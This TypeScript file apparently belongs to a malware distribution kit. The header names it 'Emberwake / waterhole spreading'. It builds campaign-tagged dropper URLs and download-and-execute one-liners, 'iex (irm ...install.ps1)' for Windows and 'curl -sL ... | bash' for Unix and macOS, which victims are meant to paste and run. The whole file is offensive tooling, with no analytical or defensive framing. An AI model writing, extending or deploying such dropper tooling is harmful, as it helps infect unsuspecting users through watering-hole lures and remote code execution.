/** Campaign URL builders for Emberwake / waterhole spreading. */ export function campaignQuery(campaign: string): string { const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64); return slug ? `?c=${encodeURIComponent(slug)}` : ''; } export function pinQuery(buildId: string): string { const id = buildId.trim(); return id ? `?pin=${encodeURIComponent(id)}` : ''; } export function combinedDropperQuery(pinBuildId: string, campaign: string): string { const parts: string[] = []; const pin = pinBuildId.trim(); const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64); if (pin) parts.push(`pin=${encodeURIComponent(pin)}`); if (slug) parts.push(`c=${encodeURIComponent(slug)}`); return parts.length ? `?${parts.join('&')}` : ''; } export function ps1Oneliner(baseUrl: string, query = ''): string { const base = baseUrl.replace(/\/$/, ''); return `iex (irm '${base}/install.ps1${query}')`; } export function shOneliner(baseUrl: string, query = ''): string { const base = baseUrl.replace(/\/$/, ''); return `curl -sL '${base}/install.sh${query}' | bash`; } export function commandOneliner(baseUrl: string, query = ''): string { const base = baseUrl.replace(/\/$/, ''); return `curl -sL '${base}/install.command${query}' | bash`; } export function getUrl(baseUrl: string, query = ''): string { return `${baseUrl.replace(/\/$/, '')}/get${query}`; } export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string { const base = origin.replace(/\/$/, ''); const q = campaignQuery(campaign); return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`; }